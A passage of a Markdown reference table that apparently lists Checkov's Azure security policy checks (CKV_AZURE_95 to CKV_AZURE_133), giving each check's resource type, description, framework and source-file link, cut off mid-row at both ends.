Microsoft.Compute/virtualMachineScaleSets                                                        | Ensure that automatic OS image patching is enabled for Virtual Machine Scale Sets                                                                                                                        | Bicep                   | [VMScaleSetsAutoOSImagePatchingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMScaleSetsAutoOSImagePatchingEnabled.py)                                                               |\n| 5843 | CKV_AZURE_95             | resource                         | azurerm_virtual_machine_scale_set                                                                | Ensure that automatic OS image patching is enabled for Virtual Machine Scale Sets                                                                                                                        | Terraform               | [VMScaleSetsAutoOSImagePatchingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMScaleSetsAutoOSImagePatchingEnabled.py)                                                   |\n| 5844 | CKV_AZURE_96             | resource                         | Microsoft.DBforMySQL/flexibleServers                                                             | Ensure that MySQL server enables infrastructure encryption                                                                                                                                               | arm                     | [MySQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLEncryptionEnabled.py)                                                                                             |\n| 5845 | CKV_AZURE_96             | resource                         | Microsoft.DBforMySQL/flexibleServers                                                             | Ensure that MySQL server enables infrastructure encryption                                                                                                                                               | Bicep                   | [MySQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLEncryptionEnabled.py)                                                                                             |\n| 5846 | CKV_AZURE_96             | resource                         | azurerm_mysql_server                                                                             | Ensure that MySQL server enables infrastructure encryption                                                                                                                                               | Terraform               | [MySQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLEncryptionEnabled.py)                                                                                 |\n| 5847 | CKV_AZURE_97             | resource                         | Microsoft.Compute/virtualMachineScaleSets                                                        | Ensure that Virtual machine scale sets have encryption at host enabled                                                                                                                                   | arm                     | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMEncryptionAtHostEnabled.py)                                                                                       |\n| 5848 | CKV_AZURE_97             | resource                         | Microsoft.Compute/virtualMachineScaleSets                                                        | Ensure that Virtual machine scale sets have encryption at host enabled                                                                                                                                   | Bicep                   | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMEncryptionAtHostEnabled.py)                                                                                       |\n| 5849 | CKV_AZURE_97             | resource                         | Microsoft.Compute/virtualMachines                                                                | Ensure that Virtual machine scale sets have encryption at host enabled                                                                                                                                   | arm                     | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMEncryptionAtHostEnabled.py)                                                                                       |\n| 5850 | CKV_AZURE_97             | resource                         | Microsoft.Compute/virtualMachines                                                                | Ensure that Virtual machine scale sets have encryption at host enabled                                                                                                                                   | Bicep                   | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMEncryptionAtHostEnabled.py)                                                                                       |\n| 5851 | CKV_AZURE_97             | resource                         | azurerm_linux_virtual_machine_scale_set                                                          | Ensure that Virtual machine scale sets have encryption at host enabled                                                                                                                                   | Terraform               | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMEncryptionAtHostEnabled.py)                                                                           |\n| 5852 | CKV_AZURE_97             | resource                         | azurerm_windows_virtual_machine_scale_set                                                        | Ensure that Virtual machine scale sets have encryption at host enabled                                                                                                                                   | Terraform               | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMEncryptionAtHostEnabled.py)                                                                           |\n| 5853 | CKV_AZURE_98             | resource                         | azurerm_container_group                                                                          | Ensure that Azure Container group is deployed into virtual network                                                                                                                                       | Terraform               | [AzureContainerGroupDeployedIntoVirtualNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureContainerGroupDeployedIntoVirtualNetwork.py)                                   |\n| 5854 | CKV_AZURE_99             | resource                         | Microsoft.DocumentDB/databaseAccounts                                                            | Ensure Cosmos DB accounts have restricted access                                                                                                                                                         | arm                     | [CosmosDBAccountsRestrictedAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBAccountsRestrictedAccess.py)                                                                         |\n| 5855 | CKV_AZURE_99             | resource                         | Microsoft.DocumentDB/databaseAccounts                                                            | Ensure Cosmos DB accounts have restricted access                                                                                                                                                         | Bicep                   | [CosmosDBAccountsRestrictedAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBAccountsRestrictedAccess.py)                                                                         |\n| 5856 | CKV_AZURE_99             | resource                         | azurerm_cosmosdb_account                                                                         | Ensure Cosmos DB accounts have restricted access                                                                                                                                                         | Terraform               | [CosmosDBAccountsRestrictedAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CosmosDBAccountsRestrictedAccess.py)                                                             |\n| 5857 | CKV_AZURE_100            | resource                         | Microsoft.DocumentDb/databaseAccounts                                                            | Ensure that Cosmos DB accounts have customer-managed keys to encrypt data at rest                                                                                                                        | arm                     | [CosmosDBHaveCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBHaveCMK.py)                                                                                                           |\n| 5858 | CKV_AZURE_100            | resource                         | Microsoft.DocumentDb/databaseAccounts                                                            | Ensure that Cosmos DB accounts have customer-managed keys to encrypt data at rest                                                                                                                        | Bicep                   | [CosmosDBHaveCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBHaveCMK.py)                                                                                                           |\n| 5859 | CKV_AZURE_100            | resource                         | azurerm_cosmosdb_account                                                                         | Ensure that Cosmos DB accounts have customer-managed keys to encrypt data at rest                                                                                                                        | Terraform               | [CosmosDBHaveCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CosmosDBHaveCMK.py)                                                                                               |\n| 5860 | CKV_AZURE_101            | resource                         | Microsoft.DocumentDB/databaseAccounts                                                            | Ensure that Azure Cosmos DB disables public network access                                                                                                                                               | arm                     | [CosmosDBDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBDisablesPublicNetwork.py)                                                                               |\n| 5861 | CKV_AZURE_101            | resource                         | Microsoft.DocumentDB/databaseAccounts                                                            | Ensure that Azure Cosmos DB disables public network access                                                                                                                                               | Bicep                   | [CosmosDBDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBDisablesPublicNetwork.py)                                                                               |\n| 5862 | CKV_AZURE_101            | resource                         | azurerm_cosmosdb_account                                                                         | Ensure that Azure Cosmos DB disables public network access                                                                                                                                               | Terraform               | [CosmosDBDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CosmosDBDisablesPublicNetwork.py)                                                                   |\n| 5863 | CKV_AZURE_102            | resource                         | Microsoft.DBforPostgreSQL/servers                                                                | Ensure that PostgreSQL server enables geo-redundant backups                                                                                                                                              | arm                     | [PostgressSQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgressSQLGeoBackupEnabled.py)                                                                                 |\n| 5864 | CKV_AZURE_102            | resource                         | Microsoft.DBforPostgreSQL/servers                                                                | Ensure that PostgreSQL server enables geo-redundant backups                                                                                                                                              | Bicep                   | [PostgressSQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgressSQLGeoBackupEnabled.py)                                                                                 |\n| 5865 | CKV_AZURE_102            | resource                         | azurerm_postgresql_server                                                                        | Ensure that PostgreSQL server enables geo-redundant backups                                                                                                                                              | Terraform               | [PostgressSQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgressSQLGeoBackupEnabled.py)                                                                     |\n| 5866 | CKV_AZURE_103            | resource                         | Microsoft.DataFactory/factories                                                                  | Ensure that Azure Data Factory uses Git repository for source control                                                                                                                                    | arm                     | [DataFactoryUsesGitRepository.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataFactoryUsesGitRepository.py)                                                                                 |\n| 5867 | CKV_AZURE_103            | resource                         | Microsoft.DataFactory/factories                                                                  | Ensure that Azure Data Factory uses Git repository for source control                                                                                                                                    | Bicep                   | [DataFactoryUsesGitRepository.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataFactoryUsesGitRepository.py)                                                                                 |\n| 5868 | CKV_AZURE_103            | resource                         | azurerm_data_factory                                                                             | Ensure that Azure Data Factory uses Git repository for source control                                                                                                                                    | Terraform               | [DataFactoryUsesGitRepository.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataFactoryUsesGitRepository.py)                                                                     |\n| 5869 | CKV_AZURE_104            | resource                         | Microsoft.DataFactory/factories                                                                  | Ensure that Azure Data factory public network access is disabled                                                                                                                                         | arm                     | [DataFactoryNoPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataFactoryNoPublicNetworkAccess.py)                                                                         |\n| 5870 | CKV_AZURE_104            | resource                         | Microsoft.DataFactory/factories                                                                  | Ensure that Azure Data factory public network access is disabled                                                                                                                                         | Bicep                   | [DataFactoryNoPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataFactoryNoPublicNetworkAccess.py)                                                                         |\n| 5871 | CKV_AZURE_104            | resource                         | azurerm_data_factory                                                                             | Ensure that Azure Data factory public network access is disabled                                                                                                                                         | Terraform               | [DataFactoryNoPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataFactoryNoPublicNetworkAccess.py)                                                             |\n| 5872 | CKV_AZURE_105            | resource                         | Microsoft.DataLakeStore/accounts                                                                 | Ensure that Data Lake Store accounts enables encryption                                                                                                                                                  | arm                     | [DataLakeStoreEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataLakeStoreEncryption.py)                                                                                           |\n| 5873 | CKV_AZURE_105            | resource                         | Microsoft.DataLakeStore/accounts                                                                 | Ensure that Data Lake Store accounts enables encryption                                                                                                                                                  | Bicep                   | [DataLakeStoreEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataLakeStoreEncryption.py)                                                                                           |\n| 5874 | CKV_AZURE_105            | resource                         | azurerm_data_lake_store                                                                          | Ensure that Data Lake Store accounts enables encryption                                                                                                                                                  | Terraform               | [DataLakeStoreEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataLakeStoreEncryption.py)                                                                               |\n| 5875 | CKV_AZURE_106            | resource                         | azurerm_eventgrid_domain                                                                         | Ensure that Azure Event Grid Domain public network access is disabled                                                                                                                                    | Terraform               | [EventgridDomainNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridDomainNetworkAccess.py)                                                                     |\n| 5876 | CKV_AZURE_107            | resource                         | Microsoft.ApiManagement/service                                                                  | Ensure that API management services use virtual networks                                                                                                                                                 | arm                     | [APIServicesUseVirtualNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIServicesUseVirtualNetwork.py)                                                                                 |\n| 5877 | CKV_AZURE_107            | resource                         | Microsoft.ApiManagement/service                                                                  | Ensure that API management services use virtual networks                                                                                                                                                 | Bicep                   | [APIServicesUseVirtualNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIServicesUseVirtualNetwork.py)                                                                                 |\n| 5878 | CKV_AZURE_107            | resource                         | azurerm_api_management                                                                           | Ensure that API management services use virtual networks                                                                                                                                                 | Terraform               | [APIServicesUseVirtualNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/APIServicesUseVirtualNetwork.py)                                                                     |\n| 5879 | CKV_AZURE_108            | resource                         | azurerm_iothub                                                                                   | Ensure that Azure IoT Hub disables public network access                                                                                                                                                 | Terraform               | [IoTNoPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/IoTNoPublicNetworkAccess.py)                                                                             |\n| 5880 | CKV_AZURE_109            | resource                         | Microsoft.KeyVault/vaults                                                                        | Ensure that key vault allows firewall rules settings                                                                                                                                                     | arm                     | [KeyVaultEnablesFirewallRulesSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesFirewallRulesSettings.py)                                                                 |\n| 5881 | CKV_AZURE_109            | resource                         | Microsoft.KeyVault/vaults                                                                        | Ensure that key vault allows firewall rules settings                                                                                                                                                     | Bicep                   | [KeyVaultEnablesFirewallRulesSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesFirewallRulesSettings.py)                                                                 |\n| 5882 | CKV_AZURE_109            | resource                         | azurerm_key_vault                                                                                | Ensure that key vault allows firewall rules settings                                                                                                                                                     | Terraform               | [KeyVaultEnablesFirewallRulesSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyVaultEnablesFirewallRulesSettings.py)                                                     |\n| 5883 | CKV_AZURE_110            | resource                         | Microsoft.KeyVault/vaults                                                                        | Ensure that key vault enables purge protection                                                                                                                                                           | arm                     | [KeyVaultEnablesPurgeProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesPurgeProtection.py)                                                                             |\n| 5884 | CKV_AZURE_110            | resource                         | Microsoft.KeyVault/vaults                                                                        | Ensure that key vault enables purge protection                                                                                                                                                           | Bicep                   | [KeyVaultEnablesPurgeProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesPurgeProtection.py)                                                                             |\n| 5885 | CKV_AZURE_110            | resource                         | azurerm_key_vault                                                                                | Ensure that key vault enables purge protection                                                                                                                                                           | Terraform               | [KeyVaultEnablesPurgeProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyVaultEnablesPurgeProtection.py)                                                                 |\n| 5886 | CKV_AZURE_111            | resource                         | Microsoft.KeyVault/vaults                                                                        | Ensure that key vault enables soft delete                                                                                                                                                                | arm                     | [KeyVaultEnablesSoftDelete.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesSoftDelete.py)                                                                                       |\n| 5887 | CKV_AZURE_111            | resource                         | Microsoft.KeyVault/vaults                                                                        | Ensure that key vault enables soft delete                                                                                                                                                                | Bicep                   | [KeyVaultEnablesSoftDelete.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesSoftDelete.py)                                                                                       |\n| 5888 | CKV_AZURE_111            | resource                         | azurerm_key_vault                                                                                | Ensure that key vault enables soft delete                                                                                                                                                                | Terraform               | [KeyVaultEnablesSoftDelete.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyVaultEnablesSoftDelete.py)                                                                           |\n| 5889 | CKV_AZURE_112            | resource                         | Microsoft.KeyVault/vaults/keys                                                                   | Ensure that key vault key is backed by HSM                                                                                                                                                               | arm                     | [KeyBackedByHSM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyBackedByHSM.py)                                                                                                             |\n| 5890 | CKV_AZURE_112            | resource                         | Microsoft.KeyVault/vaults/keys                                                                   | Ensure that key vault key is backed by HSM                                                                                                                                                               | Bicep                   | [KeyBackedByHSM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyBackedByHSM.py)                                                                                                             |\n| 5891 | CKV_AZURE_112            | resource                         | azurerm_key_vault_key                                                                            | Ensure that key vault key is backed by HSM                                                                                                                                                               | Terraform               | [KeyBackedByHSM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyBackedByHSM.py)                                                                                                 |\n| 5892 | CKV_AZURE_113            | resource                         | Microsoft.Sql/servers                                                                            | Ensure that SQL server disables public network access                                                                                                                                                    | arm                     | [SQLServerHasPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerHasPublicAccessDisabled.py)                                                                         |\n| 5893 | CKV_AZURE_113            | resource                         | Microsoft.Sql/servers                                                                            | Ensure that SQL server disables public network access                                                                                                                                                    | Bicep                   | [SQLServerHasPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerHasPublicAccessDisabled.py)                                                                         |\n| 5894 | CKV_AZURE_113            | resource                         | azurerm_mssql_server                                                                             | Ensure that SQL server disables public network access                                                                                                                                                    | Terraform               | [SQLServerPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerPublicAccessDisabled.py)                                                                   |\n| 5895 | CKV_AZURE_114            | resource                         | Microsoft.KeyVault/vaults/secrets                                                                | Ensure that key vault secrets have \"content_type\" set                                                                                                                                                    | arm                     | [SecretContentType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecretContentType.py)                                                                                                       |\n| 5896 | CKV_AZURE_114            | resource                         | Microsoft.KeyVault/vaults/secrets                                                                | Ensure that key vault secrets have \"content_type\" set                                                                                                                                                    | Bicep                   | [SecretContentType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecretContentType.py)                                                                                                       |\n| 5897 | CKV_AZURE_114            | resource                         | azurerm_key_vault_secret                                                                         | Ensure that key vault secrets have \"content_type\" set                                                                                                                                                    | Terraform               | [SecretContentType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecretContentType.py)                                                                                           |\n| 5898 | CKV_AZURE_115            | resource                         | azurerm_kubernetes_cluster                                                                       | Ensure that AKS enables private clusters                                                                                                                                                                 | Terraform               | [AKSEnablesPrivateClusters.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSEnablesPrivateClusters.py)                                                                           |\n| 5899 | CKV_AZURE_116            | resource                         | azurerm_kubernetes_cluster                                                                       | Ensure that AKS uses Azure Policies Add-on                                                                                                                                                               | Terraform               | [AKSUsesAzurePoliciesAddon.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSUsesAzurePoliciesAddon.py)                                                                           |\n| 5900 | CKV_AZURE_117            | resource                         | azurerm_kubernetes_cluster                                                                       | Ensure that AKS uses disk encryption set                                                                                                                                                                 | Terraform               | [AKSUsesDiskEncryptionSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSUsesDiskEncryptionSet.py)                                                                             |\n| 5901 | CKV_AZURE_118            | resource                         | azurerm_network_interface                                                                        | Ensure that Network Interfaces disable IP forwarding                                                                                                                                                     | Terraform               | [NetworkInterfaceEnableIPForwarding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NetworkInterfaceEnableIPForwarding.py)                                                         |\n| 5902 | CKV_AZURE_119            | resource                         | azurerm_network_interface                                                                        | Ensure that Network Interfaces don't use public IPs                                                                                                                                                      | Terraform               | [AzureNetworkInterfacePublicIPAddressId.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureNetworkInterfacePublicIPAddressId.yaml)                                         |\n| 5903 | CKV_AZURE_120            | resource                         | azurerm_application_gateway                                                                      | Ensure that Application Gateway enables WAF                                                                                                                                                              | Terraform               | [ApplicationGatewayEnablesWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/ApplicationGatewayEnablesWAF.yaml)                                                             |\n| 5904 | CKV_AZURE_120            | resource                         | azurerm_web_application_firewall_policy                                                          | Ensure that Application Gateway enables WAF                                                                                                                                                              | Terraform               | [ApplicationGatewayEnablesWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/ApplicationGatewayEnablesWAF.yaml)                                                             |\n| 5905 | CKV_AZURE_121            | resource                         | Microsoft.Network/frontDoors                                                                     | Ensure that Azure Front Door enables WAF                                                                                                                                                                 | arm                     | [AzureFrontDoorEnablesWAF.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureFrontDoorEnablesWAF.py)                                                                                         |\n| 5906 | CKV_AZURE_121            | resource                         | Microsoft.Network/frontDoors                                                                     | Ensure that Azure Front Door enables WAF                                                                                                                                                                 | Bicep                   | [AzureFrontDoorEnablesWAF.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureFrontDoorEnablesWAF.py)                                                                                         |\n| 5907 | CKV_AZURE_121            | resource                         | azurerm_frontdoor                                                                                | Ensure that Azure Front Door enables WAF                                                                                                                                                                 | Terraform               | [AzureFrontDoorEnablesWAF.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureFrontDoorEnablesWAF.py)                                                                             |\n| 5908 | CKV_AZURE_122            | resource                         | azurerm_web_application_firewall_policy                                                          | Ensure that Application Gateway uses WAF in \"Detection\" or \"Prevention\" modes                                                                                                                            | Terraform               | [AppGWUseWAFMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppGWUseWAFMode.py)                                                                                               |\n| 5909 | CKV_AZURE_123            | resource                         | Microsoft.Network/FrontDoorWebApplicationFirewallPolicies                                        | Ensure that Azure Front Door uses WAF in \"Detection\" or \"Prevention\" modes                                                                                                                               | arm                     | [FrontdoorUseWAFMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FrontdoorUseWAFMode.py)                                                                                                   |\n| 5910 | CKV_AZURE_123            | resource                         | Microsoft.Network/FrontDoorWebApplicationFirewallPolicies                                        | Ensure that Azure Front Door uses WAF in \"Detection\" or \"Prevention\" modes                                                                                                                               | Bicep                   | [FrontdoorUseWAFMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FrontdoorUseWAFMode.py)                                                                                                   |\n| 5911 | CKV_AZURE_123            | resource                         | azurerm_frontdoor_firewall_policy                                                                | Ensure that Azure Front Door uses WAF in \"Detection\" or \"Prevention\" modes                                                                                                                               | Terraform               | [FrontdoorUseWAFMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FrontdoorUseWAFMode.py)                                                                                       |\n| 5912 | CKV_AZURE_124            | resource                         | azurerm_search_service                                                                           | Ensure that Azure Cognitive Search disables public network access                                                                                                                                        | Terraform               | [AzureSearchPublicNetworkAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSearchPublicNetworkAccessDisabled.py)                                                 |\n| 5913 | CKV_AZURE_125            | resource                         | Microsoft.ServiceFabric/clusters                                                                 | Ensures that Service Fabric use three levels of protection available                                                                                                                                     | arm                     | [AzureServiceFabricClusterProtectionLevel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureServiceFabricClusterProtectionLevel.py)                                                         |\n| 5914 | CKV_AZURE_125            | resource                         | Microsoft.ServiceFabric/clusters                                                                 | Ensures that Service Fabric use three levels of protection available                                                                                                                                     | Bicep                   | [AzureServiceFabricClusterProtectionLevel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureServiceFabricClusterProtectionLevel.py)                                                         |\n| 5915 | CKV_AZURE_125            | resource                         | azurerm_service_fabric_cluster                                                                   | Ensures that Service Fabric use three levels of protection available                                                                                                                                     | Terraform               | [AzureServiceFabricClusterProtectionLevel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServiceFabricClusterProtectionLevel.py)                                             |\n| 5916 | CKV_AZURE_126            | resource                         | azurerm_service_fabric_cluster                                                                   | Ensures that Active Directory is used for authentication for Service Fabric                                                                                                                              | Terraform               | [ActiveDirectoryUsedAuthenticationServiceFabric.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ActiveDirectoryUsedAuthenticationServiceFabric.py)                                 |\n| 5917 | CKV_AZURE_127            | resource                         | azurerm_mysql_server                                                                             | Ensure that My SQL server enables Threat detection policy                                                                                                                                                | Terraform               | [MySQLTreatDetectionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLTreatDetectionEnabled.py)                                                                         |\n| 5918 | CKV_AZURE_128            | resource                         | azurerm_postgresql_server                                                                        | Ensure that PostgreSQL server enables Threat detection policy                                                                                                                                            | Terraform               | [PostgresSQLTreatDetectionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgresSQLTreatDetectionEnabled.py)                                                             |\n| 5919 | CKV_AZURE_129            | resource                         | Microsoft.DBforMariaDB/servers                                                                   | Ensure that MariaDB server enables geo-redundant backups                                                                                                                                                 | arm                     | [MariaDBGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBGeoBackupEnabled.py)                                                                                           |\n| 5920 | CKV_AZURE_129            | resource                         | Microsoft.DBforMariaDB/servers                                                                   | Ensure that MariaDB server enables geo-redundant backups                                                                                                                                                 | Bicep                   | [MariaDBGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBGeoBackupEnabled.py)                                                                                           |\n| 5921 | CKV_AZURE_129            | resource                         | azurerm_mariadb_server                                                                           | Ensure that MariaDB server enables geo-redundant backups                                                                                                                                                 | Terraform               | [MariaDBGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MariaDBGeoBackupEnabled.py)                                                                               |\n| 5922 | CKV_AZURE_130            | resource                         | Microsoft.DBforPostgreSQL/servers                                                                | Ensure that PostgreSQL server enables infrastructure encryption                                                                                                                                          | arm                     | [PostgreSQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLEncryptionEnabled.py)                                                                                   |\n| 5923 | CKV_AZURE_130            | resource                         | Microsoft.DBforPostgreSQL/servers                                                                | Ensure that PostgreSQL server enables infrastructure encryption                                                                                                                                          | Bicep                   | [PostgreSQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLEncryptionEnabled.py)                                                                                   |\n| 5924 | CKV_AZURE_130            | resource                         | azurerm_postgresql_server                                                                        | Ensure that PostgreSQL server enables infrastructure encryption                                                                                                                                          | Terraform               | [PostgreSQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLEncryptionEnabled.py)                                                                       |\n| 5925 | CKV_AZURE_131            | resource                         | azurerm_security_center_contact                                                                  | Ensure that 'Security contact emails' is set                                                                                                                                                             | Terraform               | [SecurityCenterContactEmails.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecurityCenterContactEmails.py)                                                                       |\n| 5926 | CKV_AZURE_131            | parameter                        | secureString                                                                                     | SecureString parameter should not have hardcoded default values                                                                                                                                          | arm                     | [SecureStringParameterNoHardcodedValue.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/parameter/SecureStringParameterNoHardcodedValue.py)                                                              |\n| 5927 | CKV_AZURE_131            | parameter                        | string                                                                                           | SecureString parameter should not have hardcoded default values                                                                                                                                          | Bicep                   | [SecureStringParameterNoHardcodedValue.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/param/azure/SecureStringParameterNoHardcodedValue.py)                                                          |\n| 5928 | CKV_AZURE_132            | resource                         | Microsoft.DocumentDB/databaseAccounts                                                            | Ensure cosmosdb does not allow privileged escalation by restricting management plane changes                                                                                                             | arm                     | [CosmosDBDisableAccessKeyWrite.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBDisableAccessKeyWrite.py)                                                                               |\n| 5929 | CKV_AZURE_132            | resource                         | Microsoft.DocumentDB/databaseAccounts                                                            | Ensure cosmosdb does not allow privileged escalation by restricting management plane changes                                                                                                             | Bicep                   | [CosmosDBDisableAccessKeyWrite.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBDisableAccessKeyWrite.py)                                                                               |\n| 5930 | CKV_AZURE_132            | resource                         | azurerm_cosmosdb_account                                                                         | Ensure cosmosdb does not allow privileged escalation by restricting management plane changes                                                                                                             | Terraform               | [CosmosDBDisableAccessKeyWrite.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CosmosDBDisableAccessKeyWrite.py)                                                                   |\n| 5931 | CKV_AZURE_133            | resource                         | Microsoft.Network/frontdoorWebApplicationFirewallPolicies                                        | Ensure Front Door WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell                                                                                                               | arm                     | [FrontDoorWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FrontDoorWAFACLCVE202144228.py)                                                                                   |\n| 5932 | CKV_AZURE_133            | resource                         | Microsoft.Network/frontdoorWebApplicationFirewallPolicies                                        | Ensure Front Door WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell                                                                                                               | Bicep                   | 